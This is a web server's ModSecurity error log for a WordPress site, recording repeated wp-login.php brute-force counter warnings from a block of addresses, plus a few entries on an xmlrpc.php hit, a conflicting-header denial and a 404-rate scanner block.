[Wed Nov 19 19:23:00.278685 2025] [:error] [pid 6919:tid 6929] [client 196.51.204.253:56469] [client 196.51.204.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.51.204.253, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2olEYFdN1s_9xJVUlzegAAAQc"], referer: https://gigfragments.org/contact/
[Wed Nov 19 19:23:03.304667 2025] [:error] [pid 6555:tid 6607] [client 196.51.204.253:52305] [client 196.51.204.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.51.204.253, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2ol0bVJm8eMsGMTCMqVQAAAFA"], referer: https://gigfragments.org/wp-login.php?action=register
[Wed Nov 19 19:23:36.007123 2025] [:error] [pid 6556:tid 6633] [client 185.238.231.168:29057] [client 185.238.231.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.168, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2ouJuL7hhgrmdM1msbVwAAAI8"]
[Wed Nov 19 19:23:36.036480 2025] [:error] [pid 12672:tid 12697] [client 185.238.231.41:20595] [client 185.238.231.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.41, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2ouP9vojl6X1cc5mUdzwAAAdQ"]
[Wed Nov 19 19:25:26.076995 2025] [:error] [pid 6919:tid 6936] [client 185.238.231.177:36979] [client 185.238.231.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.177, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2pJkYFdN1s_9xJVUlzvAAAAQ4"]
[Wed Nov 19 19:25:26.078474 2025] [:error] [pid 12672:tid 12686] [client 185.238.231.199:38809] [client 185.238.231.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2pJv9vojl6X1cc5mUd9wAAAck"]
[Wed Nov 19 19:27:16.908909 2025] [:error] [pid 12643:tid 12654] [client 185.238.231.186:36615] [client 185.238.231.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2plMaLCNSdLHNAGt7rUgAAAYg"]
[Wed Nov 19 19:27:16.909982 2025] [:error] [pid 6556:tid 6637] [client 185.238.231.174:41429] [client 185.238.231.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2plJuL7hhgrmdM1msbuQAAAJM"]
[Wed Nov 19 19:29:35.469020 2025] [:error] [pid 12672:tid 12700] [client 185.238.231.45:59891] [client 185.238.231.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.45, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2qH_9vojl6X1cc5mUeeAAAAdc"]
[Wed Nov 19 19:29:35.524318 2025] [:error] [pid 6644:tid 6659] [client 185.238.231.172:20167] [client 185.238.231.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.172, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2qH00i6Rf788MB6sa5xQAAAM0"]
[Wed Nov 19 19:32:18.201173 2025] [:error] [pid 6644:tid 6652] [client 185.238.231.182:38165] [client 185.238.231.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2qwk0i6Rf788MB6sa7WQAAAMY"]
[Wed Nov 19 19:32:18.202774 2025] [:error] [pid 12672:tid 12684] [client 185.238.231.194:51421] [client 185.238.231.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2qwv9vojl6X1cc5mUfTgAAAcc"]
[Wed Nov 19 19:34:59.716882 2025] [:error] [pid 12643:tid 12668] [client 185.238.231.46:24587] [client 185.238.231.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.46, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2rY8aLCNSdLHNAGt7sPgAAAZY"]
[Wed Nov 19 19:34:59.738118 2025] [:error] [pid 12643:tid 12666] [client 185.238.231.176:24139] [client 185.238.231.176] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.176, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2rY8aLCNSdLHNAGt7sPwAAAZQ"]
[Wed Nov 19 19:37:44.052011 2025] [:error] [pid 12672:tid 12678] [client 185.238.231.32:22301] [client 185.238.231.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.32, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2sCP9vojl6X1cc5mUg3QAAAcE"]
[Wed Nov 19 19:37:44.055474 2025] [:error] [pid 6556:tid 6620] [client 185.238.231.172:60887] [client 185.238.231.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.172, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2sCJuL7hhgrmdM1msdAAAAAII"]
[Wed Nov 19 19:40:23.019369 2025] [:error] [pid 12672:tid 12692] [client 185.238.231.164:36831] [client 185.238.231.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.164, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2sp_9vojl6X1cc5mUh8QAAAc8"]
[Wed Nov 19 19:40:23.923832 2025] [:error] [pid 6919:tid 6927] [client 185.238.231.164:54217] [client 185.238.231.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.164, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2sp0YFdN1s_9xJVUl2mAAAAQU"]
[Wed Nov 19 19:43:03.657917 2025] [:error] [pid 12673:tid 12716] [client 185.238.231.46:30969] [client 185.238.231.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.46, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2tR8ab1F0fb062dH1kaAAAAgw"]
[Wed Nov 19 19:43:03.679529 2025] [:error] [pid 6644:tid 6660] [client 185.238.231.170:34613] [client 185.238.231.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2tR00i6Rf788MB6sbADwAAAM4"]
[Wed Nov 19 19:46:06.853716 2025] [:error] [pid 6644:tid 6651] [client 185.238.231.32:39871] [client 185.238.231.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.32, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2t_k0i6Rf788MB6sbBWwAAAMU"]
[Wed Nov 19 19:46:06.920328 2025] [:error] [pid 12673:tid 12710] [client 185.238.231.178:49623] [client 185.238.231.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.178, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2t_sab1F0fb062dH1lXgAAAgY"]
[Wed Nov 19 19:49:08.161648 2025] [:error] [pid 12643:tid 12647] [client 185.238.231.167:35411] [client 185.238.231.167] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.167, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2utMaLCNSdLHNAGt7v5gAAAYE"]
[Wed Nov 19 19:49:08.178110 2025] [:error] [pid 6556:tid 6627] [client 185.238.231.37:61969] [client 185.238.231.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.37, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2utJuL7hhgrmdM1msf6wAAAIk"]
[Wed Nov 19 19:52:09.607638 2025] [:error] [pid 12672:tid 12688] [client 185.238.231.34:22215] [client 185.238.231.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.34, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2vaf9vojl6X1cc5mUlKgAAAcs"]
[Wed Nov 19 19:52:09.639913 2025] [:error] [pid 12673:tid 12721] [client 185.238.231.34:35161] [client 185.238.231.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.34, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2vacab1F0fb062dH1m4wAAAhE"]
[Wed Nov 19 19:55:08.228053 2025] [:error] [pid 12673:tid 12714] [client 185.238.231.38:38165] [client 185.238.231.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2wHMab1F0fb062dH1oOQAAAgo"]
[Wed Nov 19 19:55:08.228694 2025] [:error] [pid 12643:tid 12668] [client 185.238.231.36:30053] [client 185.238.231.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2wHMaLCNSdLHNAGt7xMwAAAZY"]
[Wed Nov 19 19:58:09.498076 2025] [:error] [pid 12672:tid 12688] [client 185.238.231.179:63479] [client 185.238.231.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2w0f9vojl6X1cc5mUmiwAAAcs"]
[Wed Nov 19 19:58:09.498098 2025] [:error] [pid 12672:tid 12687] [client 185.238.231.186:22813] [client 185.238.231.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2w0f9vojl6X1cc5mUmjAAAAco"]
[Wed Nov 19 20:01:14.004053 2025] [:error] [pid 12643:tid 12653] [client 185.238.231.169:32155] [client 185.238.231.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.169, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2xisaLCNSdLHNAGt7yNQAAAYc"]
[Wed Nov 19 20:01:14.032063 2025] [:error] [pid 26664:tid 26678] [client 185.238.231.165:24893] [client 185.238.231.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.165, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2xiopWc1yoj2P7MeD-ogAAAUs"]
[Wed Nov 19 20:10:01.496085 2025] [:error] [pid 6644:tid 6650] [client 185.238.231.39:50219] [client 185.238.231.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.39, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2zmU0i6Rf788MB6sbJ6AAAAMQ"]
[Wed Nov 19 20:10:01.497923 2025] [:error] [pid 12673:tid 12704] [client 185.238.231.37:45309] [client 185.238.231.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.37, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2zmcab1F0fb062dH1rVAAAAgA"]
[Wed Nov 19 20:11:44.151260 2025] [:error] [pid 12673:tid 12718] [client 203.2.64.59:54131] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aR20AMab1F0fb062dH1rtwAAAg4"]
[Wed Nov 19 20:13:04.926034 2025] [:error] [pid 12673:tid 12722] [client 185.238.231.171:47137] [client 185.238.231.171] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.171, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR20UMab1F0fb062dH1sAgAAAhI"]
[Wed Nov 19 20:13:04.926176 2025] [:error] [pid 12673:tid 12707] [client 185.238.231.46:20369] [client 185.238.231.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.46, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR20UMab1F0fb062dH1sAwAAAgM"]
[Wed Nov 19 20:16:07.747211 2025] [:error] [pid 6556:tid 6634] [client 185.238.231.190:40001] [client 185.238.231.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR21B5uL7hhgrmdM1mskSQAAAJA"]
[Wed Nov 19 20:16:07.789722 2025] [:error] [pid 6555:tid 6610] [client 185.238.231.192:47959] [client 185.238.231.192] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.192, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR21B0bVJm8eMsGMTCMyDwAAAFM"]
[Wed Nov 19 20:19:10.615895 2025] [:error] [pid 12672:tid 12686] [client 185.238.231.180:46701] [client 185.238.231.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.180, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR21vv9vojl6X1cc5mUrOgAAAck"]
[Wed Nov 19 20:19:10.618883 2025] [:error] [pid 6554:tid 6580] [client 185.238.231.43:21965] [client 185.238.231.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR21vt8rvPWLafJFqmX41wAAABQ"]
[Wed Nov 19 20:22:13.386320 2025] [:error] [pid 6644:tid 6649] [client 185.238.231.200:24085] [client 185.238.231.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR22dU0i6Rf788MB6sbNBQAAAMM"]
[Wed Nov 19 20:22:13.399047 2025] [:error] [pid 26664:tid 26688] [client 185.238.231.41:59945] [client 185.238.231.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.41, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR22dYpWc1yoj2P7MeABVQAAAVQ"]
[Wed Nov 19 20:23:38.767676 2025] [:error] [pid 6556:tid 6638] [client 51.178.9.114:55432] [client 51.178.9.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.178.9.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aR22ypuL7hhgrmdM1msligAAAJQ"]
[Wed Nov 19 20:25:15.124340 2025] [:error] [pid 6644:tid 6662] [client 185.238.231.34:44587] [client 185.238.231.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.34, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR23K00i6Rf788MB6sbOIAAAANA"]
[Wed Nov 19 20:25:15.203719 2025] [:error] [pid 6644:tid 6667] [client 185.238.231.37:54753] [client 185.238.231.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.37, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR23K00i6Rf788MB6sbOIQAAANU"]
[Wed Nov 19 20:28:21.258612 2025] [:error] [pid 6644:tid 6649] [client 185.238.231.164:55675] [client 185.238.231.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.164, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR235U0i6Rf788MB6sbPJgAAAMM"]
[Wed Nov 19 20:28:21.271117 2025] [:error] [pid 12672:tid 12697] [client 185.238.231.169:40923] [client 185.238.231.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.169, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR235f9vojl6X1cc5mUswAAAAdQ"]
[Wed Nov 19 20:31:25.357891 2025] [:error] [pid 6644:tid 6670] [client 185.238.231.169:26927] [client 185.238.231.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.169, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR24nU0i6Rf788MB6sbP6wAAANg"]
[Wed Nov 19 20:31:25.427045 2025] [:error] [pid 6644:tid 6650] [client 185.238.231.167:58967] [client 185.238.231.167] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.167, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR24nU0i6Rf788MB6sbP7AAAAMQ"]
[Wed Nov 19 20:34:32.082287 2025] [:error] [pid 26664:tid 26667] [client 185.238.231.192:25167] [client 185.238.231.192] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.192, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR25WIpWc1yoj2P7MeADQAAAAUA"]
[Wed Nov 19 20:34:32.088265 2025] [:error] [pid 12673:tid 12713] [client 185.238.231.200:52139] [client 185.238.231.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR25WMab1F0fb062dH1xVgAAAgk"]
[Wed Nov 19 20:35:57.140567 2025] [:error] [pid 6554:tid 6573] [client 104.196.176.201:57877] [client 104.196.176.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/media/system/js/core.js"] [unique_id "aR25rd8rvPWLafJFqmX7VgAAAA0"]
[Wed Nov 19 20:37:34.522770 2025] [:error] [pid 12673:tid 12712] [client 185.238.231.171:49787] [client 185.238.231.171] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.171, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR26Dsab1F0fb062dH1yUAAAAgg"]
[Wed Nov 19 20:37:34.564894 2025] [:error] [pid 12672:tid 12682] [client 185.238.231.179:24157] [client 185.238.231.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR26Dv9vojl6X1cc5mUvOgAAAcU"]
[Wed Nov 19 20:40:41.072008 2025] [:error] [pid 6644:tid 6656] [client 185.238.231.182:56255] [client 185.238.231.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR26yU0i6Rf788MB6sbSZgAAAMo"]
[Wed Nov 19 20:40:41.072928 2025] [:error] [pid 6919:tid 6932] [client 185.238.231.35:60533] [client 185.238.231.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR26yUYFdN1s_9xJVUmChAAAAQo"]
[Wed Nov 19 20:43:42.262564 2025] [:error] [pid 6644:tid 6661] [client 185.238.231.168:27709] [client 185.238.231.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.168, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR27fk0i6Rf788MB6sbTKQAAAM8"]
[Wed Nov 19 20:43:42.280638 2025] [:error] [pid 12672:tid 12682] [client 185.238.231.201:43025] [client 185.238.231.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR27fv9vojl6X1cc5mUwRgAAAcU"]
